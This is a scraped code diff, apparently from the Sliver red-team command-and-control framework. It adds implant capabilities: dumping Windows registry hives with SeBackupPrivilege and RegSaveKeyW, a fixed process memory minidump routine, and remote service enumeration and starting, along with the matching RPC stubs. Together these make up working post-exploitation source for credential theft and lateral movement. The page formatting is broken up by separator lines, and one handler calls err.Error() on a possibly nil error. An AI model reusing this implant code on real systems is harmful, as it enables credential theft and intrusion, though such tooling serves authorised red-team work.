hiveData, err := registry.ReadHive(hiveReq.RootHive, hiveReq.RequestedHive)
|
||||
if err != nil {
|
||||
hiveResp.Response.Err = err.Error()
|
||||
}
|
||||
// We might not have a fatal error, so whatever the result (nil or not), assign .Data to it
|
||||
gzipData := bytes.NewBuffer([]byte{})
|
||||
gzipWrite(gzipData, hiveData)
|
||||
hiveResp.Data = gzipData.Bytes()
|
||||
hiveResp.Encoder = "gzip"
|
||||
data, err = proto.Marshal(hiveResp)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func getPrivsHandler(data []byte, resp RPCResponse) {
|
||||
createReq := &sliverpb.GetPrivsReq{}
|
||||
|
||||
@@ -778,6 +823,55 @@ func getPrivsHandler(data []byte, resp RPCResponse) {
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func servicesListHandler(data []byte, resp RPCResponse) {
|
||||
servicesReq := &sliverpb.ServicesReq{}
|
||||
err := proto.Unmarshal(data, servicesReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
serviceInfo, err := service.ListServices(servicesReq.Hostname)
|
||||
/*
|
||||
Errors from listing the services are not fatal. The client can
|
||||
display a message to the user about the issue
|
||||
We still want other errors like timeouts to be handled in the
|
||||
normal way.
|
||||
*/
|
||||
servicesResp := &sliverpb.Services{
|
||||
Details: serviceInfo,
|
||||
Error: err.Error(),
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
|
||||
data, err = proto.Marshal(servicesResp)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func serviceDetailHandler(data []byte, resp RPCResponse) {
|
||||
serviceDetailReq := &sliverpb.ServiceDetailReq{}
|
||||
err := proto.Unmarshal(data, serviceDetailReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
serviceDetail, err := service.GetServiceDetail(serviceDetailReq.ServiceInfo.Hostname, serviceDetailReq.ServiceInfo.ServiceName)
|
||||
serviceDetailResp := &sliverpb.ServiceDetail{
|
||||
Detail: serviceDetail,
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
if err != nil {
|
||||
if serviceDetail != nil {
|
||||
// Then we had a non-fatal error
|
||||
serviceDetailResp.Message = err.Error()
|
||||
} else {
|
||||
serviceDetailResp.Response.Err = err.Error()
|
||||
}
|
||||
}
|
||||
|
||||
data, err = proto.Marshal(serviceDetailResp)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
// Extensions
|
||||
|
||||
func registerExtensionHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
@@ -32,10 +32,11 @@ import (
|
||||
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"unsafe"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/priv"
|
||||
"github.com/bishopfox/sliver/implant/sliver/syscalls"
|
||||
"golang.org/x/sys/windows"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -69,14 +70,15 @@ const (
|
||||
MiniDumpWithFullMemory = 0x00000002
|
||||
)
|
||||
|
||||
var bytesRead uint32 = 0
|
||||
// var bytesRead uint32 = 0
|
||||
|
||||
type WindowsDump struct {
|
||||
data []byte
|
||||
}
|
||||
|
||||
type outDump struct {
|
||||
outPtr uintptr
|
||||
outPtr uintptr
|
||||
bytesRead uint32
|
||||
}
|
||||
|
||||
func (d *WindowsDump) Data() []byte {
|
||||
@@ -174,9 +176,9 @@ func minidump(pid uint32, proc windows.Handle) (ProcessDump, error) {
|
||||
//{{end}}
|
||||
return dump, err
|
||||
}
|
||||
outBuff := make([]byte, bytesRead)
|
||||
outBuff := make([]byte, outData.bytesRead)
|
||||
outBuffAddr := uintptr(unsafe.Pointer(&outBuff[0]))
|
||||
syscalls.RtlCopyMemory(outBuffAddr, outData.outPtr, bytesRead)
|
||||
syscalls.RtlCopyMemory(outBuffAddr, outData.outPtr, outData.bytesRead)
|
||||
err = syscalls.HeapFree(heapHandle, 0, outData.outPtr)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -303,7 +305,7 @@ func minidumpCallback(callbackParam uintptr, callbackInputPtr uintptr, callbackO
|
||||
}
|
||||
destination := outData.outPtr + uintptr(callbackInput.Io.Offset)
|
||||
syscalls.RtlCopyMemory(destination, callbackInput.Io.Buffer, callbackInput.Io.BufferBytes)
|
||||
bytesRead += callbackInput.Io.BufferBytes
|
||||
outData.bytesRead += callbackInput.Io.BufferBytes
|
||||
case IoFinishCallback:
|
||||
callbackOutput.Status = S_OK
|
||||
default:
|
||||
|
||||
@@ -1,12 +1,19 @@
|
||||
package registry
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"math/rand"
|
||||
"os"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/priv"
|
||||
"github.com/bishopfox/sliver/implant/sliver/syscalls"
|
||||
"golang.org/x/sys/windows"
|
||||
"golang.org/x/sys/windows/registry"
|
||||
)
|
||||
|
||||
@@ -182,3 +189,88 @@ func CreateSubKey(hostname string, hive string, path string, keyName string) err
|
||||
_, _, err = registry.CreateKey(*k, keyName, registry.ALL_ACCESS)
|
||||
return err
|
||||
}
|
||||
|
||||
func generateTempFileName() string {
|
||||
const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
|
||||
randomBytes := make([]byte, 8)
|
||||
for i := range randomBytes {
|
||||
randomBytes[i] = charset[rand.Intn(len(charset))]
|
||||
}
|
||||
return string(randomBytes) + ".tmp"
|
||||
}
|
||||
|
||||
// ReadHive dumps the content of a registry hive into a single binary blob
|
||||
func ReadHive(requestedRootHive string, requestedHive string) ([]byte, error) {
|
||||
// In order to dump a hive, we need the SeBackupPrivilege privilege
|
||||
err := priv.SePrivEnable("SeBackupPrivilege")
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("SePrivEnable failed:", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
|
||||
/*
|
||||
Create a random file name to output the hive to.
|
||||
The system call to dump registry information (RegSaveKeyW)
|
||||
only accepts a file name as an output location, as opposed to a
|
||||
buffer. So we will output the result of the system call, read the
|
||||
resulting file into memory, then delete the file.
|
||||
*/
|
||||
|
||||
/*
|
||||
We have to make sure the file we ask RegSaveKeyW to output does not exist
|
||||
because if it does, the call will fail.
|
||||
Keep generating and checking file names until we find one that does not exist.
|
||||
*/
|
||||
var tempFileName string
|
||||
for {
|
||||
tempFileName = fmt.Sprintf("%s\\%s", os.TempDir(), generateTempFileName())
|
||||
if _, err := os.Stat(tempFileName); errors.Is(err, os.ErrNotExist) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Going to output hive data to %s", tempFileName)
|
||||
// {{end}}
|
||||
break
|
||||
}
|
||||
}
|
||||
tempFileNamePtr, err := windows.UTF16PtrFromString(tempFileName)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
hiveHandle, err := openKey("", requestedRootHive, requestedHive, registry.READ)
|
||||
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Could not open %s\\%s: %v", requestedRootHive, requestedHive, err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
defer hiveHandle.Close()
|
||||
|
||||
err = syscalls.RegSaveKeyW(windows.Handle(*hiveHandle), tempFileNamePtr, nil)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Could not save %s\\%s to %s: %v", requestedRootHive, requestedHive, tempFileName, err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(tempFileName)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Could not open temp file: %v", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
err = os.Remove(tempFileName)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Could not delete temp file: %v", err)
|
||||
// {{end}}
|
||||
// No reason to throw away the data if we cannot delete the file
|
||||
return data, err
|
||||
}
|
||||
|
||||
return data, nil
|
||||
}
|
||||
@@ -20,13 +20,22 @@ package service
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"golang.org/x/sys/windows"
|
||||
"golang.org/x/sys/windows/svc"
|
||||
"golang.org/x/sys/windows/svc/mgr"
|
||||
)
|
||||
|
||||
const (
|
||||
ReadOnlyServiceManagerPermissions = windows.SC_MANAGER_ENUMERATE_SERVICE
|
||||
ReadOnlyServicePermissions = windows.SERVICE_QUERY_CONFIG | windows.SERVICE_QUERY_STATUS
|
||||
ConnectServiceManagerPermissions = windows.SC_MANAGER_CONNECT
|
||||
StartServiceAndVerifyPermissions = windows.SERVICE_START | windows.SERVICE_QUERY_STATUS
|
||||
)
|
||||
|
||||
func StartService(hostname string, binPath string, arguments string, serviceName string, serviceDesc string) error {
|
||||
manager, err := mgr.ConnectRemote(hostname)
|
||||
if err != nil {
|
||||
@@ -93,3 +102,156 @@ func RemoveService(hostname string, serviceName string) error {
|
||||
err = service.Delete()
|
||||
return err
|
||||
}
|
||||
|
||||
/*
|
||||
Currently, golang.org/x/sys/windows/svc/mgr attempts to open the service
|
||||
manager with elevated permissions: https://github.com/golang/go/issues/51465
|
||||
https://github.com/golang/sys/blob/master/windows/svc/mgr/mgr.go#L34
|
||||
|
||||
We should not need elevated privileges to list services, so we will have to
|
||||
define a custom service manager that asks for lower rights.
|
||||
|
||||
Similarly, we need a custom OpenService function that does not ask for
|
||||
elevated rights so we can get the status and config of the service.
|
||||
*/
|
||||
|
||||
func connectToServiceManager(hostname string, permissions uint32) (*mgr.Mgr, error) {
|
||||
/*
|
||||
According to Win32 API docs, if the machine name passed to OpenSCManager
|
||||
is NULL or empty, a connection will be opened to the local machine
|
||||
https://learn.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-openscmanagera
|
||||
*/
|
||||
connectHost := windows.StringToUTF16Ptr(hostname)
|
||||
handle, err := windows.OpenSCManager(connectHost, nil, permissions)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &mgr.Mgr{Handle: handle}, nil
|
||||
}
|
||||
|
||||
func openService(svcManager *mgr.Mgr, serviceName string, permissions uint32) (*mgr.Service, error) {
|
||||
handle, err := windows.OpenService(svcManager.Handle, windows.StringToUTF16Ptr(serviceName), permissions)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &mgr.Service{Name: serviceName, Handle: handle}, nil
|
||||
}
|
||||
|
||||
func buildServiceDetail(serviceName string, config mgr.Config) *sliverpb.ServiceDetails {
|
||||
detail := &sliverpb.ServiceDetails{Name: serviceName}
|
||||
|
||||
detail.DisplayName = config.DisplayName
|
||||
detail.Description = config.Description
|
||||
detail.StartupType = config.StartType
|
||||
detail.BinPath = config.BinaryPathName
|
||||
detail.Account = config.ServiceStartName
|
||||
// Will hopefully be filled in later
|
||||
detail.Status = 0
|
||||
|
||||
return detail
|
||||
}
|
||||
|
||||
func ListServices(hostName string) ([]*sliverpb.ServiceDetails, error) {
|
||||
var servicesList []*sliverpb.ServiceDetails
|
||||
var serviceErrors []string
|
||||
var operationError error
|
||||
|
||||
manager, err := connectToServiceManager(hostName, ReadOnlyServiceManagerPermissions)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer manager.Disconnect()
|
||||
services, err := manager.ListServices()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
for _, serviceName := range services {
|
||||
serviceHandle, err := openService(manager, serviceName, ReadOnlyServicePermissions)
|
||||
if err != nil {
|
||||
serviceErrors = append(serviceErrors, fmt.Sprintf("%s: %s", serviceName, err.Error()))
|
||||
continue
|
||||
}
|
||||
serviceConfig, err := serviceHandle.Config()
|
||||
if err != nil {
|
||||
serviceErrors = append(serviceErrors, fmt.Sprintf("%s: %s", serviceName, err.Error()))
|
||||
continue
|
||||
}
|
||||
serviceInfo := buildServiceDetail(serviceName, serviceConfig)
|
||||
serviceStatus, err := serviceHandle.Query()
|
||||
if err != nil {
|
||||
serviceErrors = append(serviceErrors, err.Error())
|
||||
servicesList = append(servicesList, serviceInfo)
|
||||
continue
|
||||
}
|
||||
serviceInfo.Status = uint32(serviceStatus.State)
|
||||
servicesList = append(servicesList, serviceInfo)
|
||||
}
|
||||
|
||||
if len(serviceErrors) > 0 {
|
||||
operationError = fmt.Errorf("%s", strings.Join(serviceErrors, "\n"))
|
||||
} else {
|
||||
operationError = nil
|
||||
}
|
||||
|
||||
return servicesList, operationError
|
||||
}
|
||||
|
||||
func GetServiceDetail(hostName string, serviceName string) (*sliverpb.ServiceDetails, error) {
|
||||
manager, err := connectToServiceManager(hostName, ReadOnlyServiceManagerPermissions)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer manager.Disconnect()
|
||||
serviceHandle, err := openService(manager, serviceName, ReadOnlyServicePermissions)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
serviceConfig, err := serviceHandle.Config()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
serviceDetail := buildServiceDetail(serviceName, serviceConfig)
|
||||
serviceStatus, err := serviceHandle.Query()
|
||||
if err != nil {
|
||||
serviceDetail.Status = 0
|
||||
// Even though we encountered an error, it was not fatal (we still got some information about the service)
|
||||
return serviceDetail, fmt.Errorf("Unknown (could not retrieve: %s)", err.Error())
|
||||
}
|
||||
serviceDetail.Status = uint32(serviceStatus.State)
|
||||
return serviceDetail, nil
|
||||
}
|
||||
|
||||
func StartServiceByName(hostName string, serviceName string) error {
|
||||
manager, err := connectToServiceManager(hostName, ConnectServiceManagerPermissions)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
serviceHandle, err := openService(manager, serviceName, StartServiceAndVerifyPermissions)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
err = serviceHandle.Start()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
timeout := time.Now().Add(10 * time.Second)
|
||||
status, err := serviceHandle.Query()
|
||||
if err != nil {
|
||||
return fmt.Errorf("could not retrieve service status: %v", err)
|
||||
}
|
||||
|
||||
for status.State != svc.Running {
|
||||
if timeout.Before(time.Now()) {
|
||||
return fmt.Errorf("timeout waiting for service to go to state=%d", svc.Running)
|
||||
}
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
status, err = serviceHandle.Query()
|
||||
if err != nil {
|
||||
return fmt.Errorf("could not retrieve service status: %v", err)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -46,3 +46,4 @@ package syscalls
|
||||
//sys LookupPrivilegeDisplayNameW(systemName string, privilegeName *uint16, buffer *uint16, size *uint32, languageId *uint32) (err error) = advapi32.LookupPrivilegeDisplayNameW
|
||||
|
||||
//sys Module32FirstW(hSnapshot windows.Handle, lpme *MODULEENTRY32W) (err error) = kernel32.Module32FirstW
|
||||
//sys RegSaveKeyW(hKey windows.Handle, lpFile *uint16, lpSecurityAttributes *windows.SecurityAttributes) (err error) = advapi32.RegSaveKeyW
|
||||
@@ -67,6 +67,7 @@ var (
|
||||
procLogonUserW = modadvapi32.NewProc("LogonUserW")
|
||||
procLookupPrivilegeDisplayNameW = modadvapi32.NewProc("LookupPrivilegeDisplayNameW")
|
||||
procLookupPrivilegeNameW = modadvapi32.NewProc("LookupPrivilegeNameW")
|
||||
procRegSaveKeyW = modadvapi32.NewProc("RegSaveKeyW")
|
||||
procCreateProcessW = modkernel32.NewProc("CreateProcessW")
|
||||
procCreateRemoteThread = modkernel32.NewProc("CreateRemoteThread")
|
||||
procCreateThread = modkernel32.NewProc("CreateThread")
|
||||
@@ -281,6 +282,14 @@ func _LookupPrivilegeNameW(systemName *uint16, luid *uint64, buffer *uint16, siz
|
||||
return
|
||||
}
|
||||
|
||||
func RegSaveKeyW(hKey windows.Handle, lpFile *uint16, lpSecurityAttributes *windows.SecurityAttributes) (err error) {
|
||||
r1, _, e1 := syscall.Syscall(procRegSaveKeyW.Addr(), 3, uintptr(hKey), uintptr(unsafe.Pointer(lpFile)), uintptr(unsafe.Pointer(lpSecurityAttributes)))
|
||||
if r1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func CreateProcess(appName *uint16, commandLine *uint16, procSecurity *windows.SecurityAttributes, threadSecurity *windows.SecurityAttributes, inheritHandles bool, creationFlags uint32, env *uint16, currentDir *uint16, startupInfo *StartupInfoEx, outProcInfo *windows.ProcessInformation) (err error) {
|
||||
var _p0 uint32
|
||||
if inheritHandles {
|
||||
|
||||
+2439
-2347
File diff suppressed because it is too large.
Load diff
@@ -54,6 +54,7 @@ message Session {
|
||||
int64 PeerID = 25;
|
||||
string Locale = 26;
|
||||
int64 FirstContact = 27;
|
||||
string Integrity = 28;
|
||||
}
|
||||
|
||||
message Beacon {
|
||||
@@ -88,6 +89,8 @@ message Beacon {
|
||||
|
||||
string Locale = 28;
|
||||
int64 FirstContact = 29;
|
||||
|
||||
string Integrity = 30;
|
||||
}
|
||||
|
||||
message Beacons { repeated Beacon Beacons = 2; }
|
||||
@@ -109,6 +112,11 @@ message BeaconTasks {
|
||||
repeated BeaconTask Tasks = 2;
|
||||
}
|
||||
|
||||
message BeaconIntegrity {
|
||||
string BeaconID = 1;
|
||||
string Integrity = 2;
|
||||
}
|
||||
|
||||
message ImplantC2 {
|
||||
string ID = 1;
|
||||
uint32 Priority = 2;
|
||||
|
||||
+777
-737
File diff suppressed because it is too large.
Load diff
@@ -46,6 +46,7 @@ service SliverRPC {
|
||||
rpc GetBeaconTasks(clientpb.Beacon) returns (clientpb.BeaconTasks);
|
||||
rpc GetBeaconTaskContent(clientpb.BeaconTask) returns (clientpb.BeaconTask);
|
||||
rpc CancelBeaconTask(clientpb.BeaconTask) returns (clientpb.BeaconTask);
|
||||
rpc UpdateBeaconIntegrityInformation(clientpb.BeaconIntegrity) returns (commonpb.Empty);
|
||||
|
||||
|
||||
// *** Jobs ***
|
||||
@@ -194,6 +195,9 @@ service SliverRPC {
|
||||
rpc Screenshot(sliverpb.ScreenshotReq) returns (sliverpb.Screenshot);
|
||||
rpc CurrentTokenOwner(sliverpb.CurrentTokenOwnerReq)
|
||||
returns (sliverpb.CurrentTokenOwner);
|
||||
rpc Services(sliverpb.ServicesReq) returns (sliverpb.Services);
|
||||
rpc ServiceDetail(sliverpb.ServiceDetailReq) returns (sliverpb.ServiceDetail);
|
||||
rpc StartServiceByName(sliverpb.StartServiceByNameReq) returns (sliverpb.ServiceInfo);
|
||||
|
||||
// *** Pivots ***
|
||||
rpc PivotStartListener(sliverpb.PivotStartListenerReq)
|
||||
@@ -222,6 +226,7 @@ service SliverRPC {
|
||||
returns (sliverpb.RegistrySubKeyList);
|
||||
rpc RegistryListValues(sliverpb.RegistryListValuesReq)
|
||||
returns (sliverpb.RegistryValuesList);
|
||||
rpc RegistryReadHive(sliverpb.RegistryReadHiveReq) returns (sliverpb.RegistryReadHive);
|
||||
rpc RunSSHCommand(sliverpb.SSHCommandReq) returns (sliverpb.SSHCommand);
|
||||
rpc HijackDLL(clientpb.DllHijackReq) returns (clientpb.DllHijack);
|
||||
rpc GetPrivs(sliverpb.GetPrivsReq) returns (sliverpb.GetPrivs);
|
||||
|
||||
@@ -56,6 +56,7 @@ type SliverRPCClient interface {
|
||||
GetBeaconTasks(ctx context.Context, in *clientpb.Beacon, opts ...grpc.CallOption) (*clientpb.BeaconTasks, error)
|
||||
GetBeaconTaskContent(ctx context.Context, in *clientpb.BeaconTask, opts ...grpc.CallOption) (*clientpb.BeaconTask, error)
|
||||
CancelBeaconTask(ctx context.Context, in *clientpb.BeaconTask, opts ...grpc.CallOption) (*clientpb.BeaconTask, error)
|
||||
UpdateBeaconIntegrityInformation(ctx context.Context, in *clientpb.BeaconIntegrity, opts ...grpc.CallOption) (*commonpb.Empty, error)
|
||||
// *** Jobs ***
|
||||
GetJobs(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Jobs, error)
|
||||
KillJob(ctx context.Context, in *clientpb.KillJobReq, opts ...grpc.CallOption) (*clientpb.KillJob, error)
|
||||
@@ -173,6 +174,9 @@ type SliverRPCClient interface {
|
||||
SpawnDll(ctx context.Context, in *sliverpb.InvokeSpawnDllReq, opts ...grpc.CallOption) (*sliverpb.SpawnDll, error)
|
||||
Screenshot(ctx context.Context, in *sliverpb.ScreenshotReq, opts ...grpc.CallOption) (*sliverpb.Screenshot, error)
|
||||
CurrentTokenOwner(ctx context.Context, in *sliverpb.CurrentTokenOwnerReq, opts ...grpc.CallOption) (*sliverpb.CurrentTokenOwner, error)
|
||||
Services(ctx context.Context, in *sliverpb.ServicesReq, opts ...grpc.CallOption) (*sliverpb.Services, error)
|
||||
ServiceDetail(ctx context.Context, in *sliverpb.ServiceDetailReq, opts ...grpc.CallOption) (*sliverpb.ServiceDetail, error)
|
||||
StartServiceByName(ctx context.Context, in *sliverpb.StartServiceByNameReq, opts ...grpc.CallOption) (*sliverpb.ServiceInfo, error)
|
||||
// *** Pivots ***
|
||||
PivotStartListener(ctx context.Context, in *sliverpb.PivotStartListenerReq, opts ...grpc.CallOption) (*sliverpb.PivotListener, error)
|
||||
PivotStopListener(ctx context.Context, in *sliverpb.PivotStopListenerReq, opts ...grpc.CallOption) (*commonpb.Empty, error)
|
||||
@@ -192,6 +196,7 @@ type SliverRPCClient interface {
|
||||
RegistryDeleteKey(ctx context.Context, in *sliverpb.RegistryDeleteKeyReq, opts ...grpc.CallOption) (*sliverpb.RegistryDeleteKey, error)
|
||||
RegistryListSubKeys(ctx context.Context, in *sliverpb.RegistrySubKeyListReq, opts ...grpc.CallOption) (*sliverpb.RegistrySubKeyList, error)
|
||||
RegistryListValues(ctx context.Context, in *sliverpb.RegistryListValuesReq, opts ...grpc.CallOption) (*sliverpb.RegistryValuesList, error)
|
||||
RegistryReadHive(ctx context.Context, in *sliverpb.RegistryReadHiveReq, opts ...grpc.CallOption) (*sliverpb.RegistryReadHive, error)
|
||||
RunSSHCommand(ctx context.Context, in *sliverpb.SSHCommandReq, opts ...grpc.CallOption) (*sliverpb.SSHCommand, error)
|
||||
HijackDLL(ctx context.Context, in *clientpb.DllHijackReq, opts ...grpc.CallOption) (*clientpb.DllHijack, error)
|
||||
GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq, opts ...grpc.CallOption) (*sliverpb.GetPrivs, error)
|
||||
@@ -471,6 +476,15 @@ func (c *sliverRPCClient) CancelBeaconTask(ctx context.Context, in *clientpb.Bea
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) UpdateBeaconIntegrityInformation(ctx context.Context, in *clientpb.BeaconIntegrity, opts ...grpc.CallOption) (*commonpb.Empty, error) {
|
||||
out := new(commonpb.Empty)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/UpdateBeaconIntegrityInformation", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) GetJobs(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Jobs, error) {
|
||||
out := new(clientpb.Jobs)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetJobs", in, out, opts...)
|
||||
@@ -1462,6 +1476,33 @@ func (c *sliverRPCClient) CurrentTokenOwner(ctx context.Context, in *sliverpb.Cu
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) Services(ctx context.Context, in *sliverpb.ServicesReq, opts ...grpc.CallOption) (*sliverpb.Services, error) {
|
||||
out := new(sliverpb.Services)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Services", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) ServiceDetail(ctx context.Context, in *sliverpb.ServiceDetailReq, opts ...grpc.CallOption) (*sliverpb.ServiceDetail, error) {
|
||||
out := new(sliverpb.ServiceDetail)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ServiceDetail", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) StartServiceByName(ctx context.Context, in *sliverpb.StartServiceByNameReq, opts ...grpc.CallOption) (*sliverpb.ServiceInfo, error) {
|
||||
out := new(sliverpb.ServiceInfo)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/StartServiceByName", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) PivotStartListener(ctx context.Context, in *sliverpb.PivotStartListenerReq, opts ...grpc.CallOption) (*sliverpb.PivotListener, error) {
|
||||
out := new(sliverpb.PivotListener)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/PivotStartListener", in, out, opts...)
|
||||
@@ -1624,6 +1665,15 @@ func (c *sliverRPCClient) RegistryListValues(ctx context.Context, in *sliverpb.R
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) RegistryReadHive(ctx context.Context, in *sliverpb.RegistryReadHiveReq, opts ...grpc.CallOption) (*sliverpb.RegistryReadHive, error) {
|
||||
out := new(sliverpb.RegistryReadHive)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegistryReadHive", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) RunSSHCommand(ctx context.Context, in *sliverpb.SSHCommandReq, opts ...grpc.CallOption) (*sliverpb.SSHCommand, error) {
|
||||
out := new(sliverpb.SSHCommand)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RunSSHCommand", in, out, opts...)
|
||||
@@ -1987,6 +2037,7 @@ type SliverRPCServer interface {
|
||||
GetBeaconTasks(context.Context, *clientpb.Beacon) (*clientpb.BeaconTasks, error)
|
||||
GetBeaconTaskContent(context.Context, *clientpb.BeaconTask) (*clientpb.BeaconTask, error)
|
||||
CancelBeaconTask(context.Context, *clientpb.BeaconTask) (*clientpb.BeaconTask, error)
|
||||
UpdateBeaconIntegrityInformation(context.Context, *clientpb.BeaconIntegrity) (*commonpb.Empty, error)
|
||||
// *** Jobs ***
|
||||
GetJobs(context.Context, *commonpb.Empty) (*clientpb.Jobs, error)
|
||||
KillJob(context.Context, *clientpb.KillJobReq) (*clientpb.KillJob, error)
|
||||
@@ -2104,6 +2155,9 @@ type SliverRPCServer interface {
|
||||
SpawnDll(context.Context, *sliverpb.InvokeSpawnDllReq) (*sliverpb.SpawnDll, error)
|
||||
Screenshot(context.Context, *sliverpb.ScreenshotReq) (*sliverpb.Screenshot, error)
|
||||
CurrentTokenOwner(context.Context, *sliverpb.CurrentTokenOwnerReq) (*sliverpb.CurrentTokenOwner, error)
|
||||
Services(context.Context, *sliverpb.ServicesReq) (*sliverpb.Services, error)
|
||||
ServiceDetail(context.Context, *sliverpb.ServiceDetailReq) (*sliverpb.ServiceDetail, error)
|
||||
StartServiceByName(context.Context, *sliverpb.StartServiceByNameReq) (*sliverpb.ServiceInfo, error)
|
||||
// *** Pivots ***
|
||||
PivotStartListener(context.Context, *sliverpb.PivotStartListenerReq) (*sliverpb.PivotListener, error)
|
||||
PivotStopListener(context.Context, *sliverpb.PivotStopListenerReq) (*commonpb.Empty, error)
|
||||
@@ -2123,6 +2177,7 @@ type SliverRPCServer interface {
|
||||
RegistryDeleteKey(context.Context, *sliverpb.RegistryDeleteKeyReq) (*sliverpb.RegistryDeleteKey, error)
|
||||
RegistryListSubKeys(context.Context, *sliverpb.RegistrySubKeyListReq) (*sliverpb.RegistrySubKeyList, error)
|
||||
RegistryListValues(context.Context, *sliverpb.RegistryListValuesReq) (*sliverpb.RegistryValuesList, error)
|
||||
RegistryReadHive(context.Context, *sliverpb.RegistryReadHiveReq) (*sliverpb.RegistryReadHive, error)
|
||||
RunSSHCommand(context.Context, *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error)
|
||||
HijackDLL(context.Context, *clientpb.DllHijackReq) (*clientpb.DllHijack, error)
|
||||
GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error)
|
||||
@@ -2236,6 +2291,9 @@ func (UnimplementedSliverRPCServer) GetBeaconTaskContent(context.Context, *clien
|
||||
func (UnimplementedSliverRPCServer) CancelBeaconTask(context.Context, *clientpb.BeaconTask) (*clientpb.BeaconTask, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method CancelBeaconTask not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) UpdateBeaconIntegrityInformation(context.Context, *clientpb.BeaconIntegrity) (*commonpb.Empty, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method UpdateBeaconIntegrityInformation not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) GetJobs(context.Context, *commonpb.Empty) (*clientpb.Jobs, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method GetJobs not implemented")
|
||||
}
|
||||
@@ -2551,6 +2609,15 @@ func (UnimplementedSliverRPCServer) Screenshot(context.Context, *sliverpb.Screen
|
||||
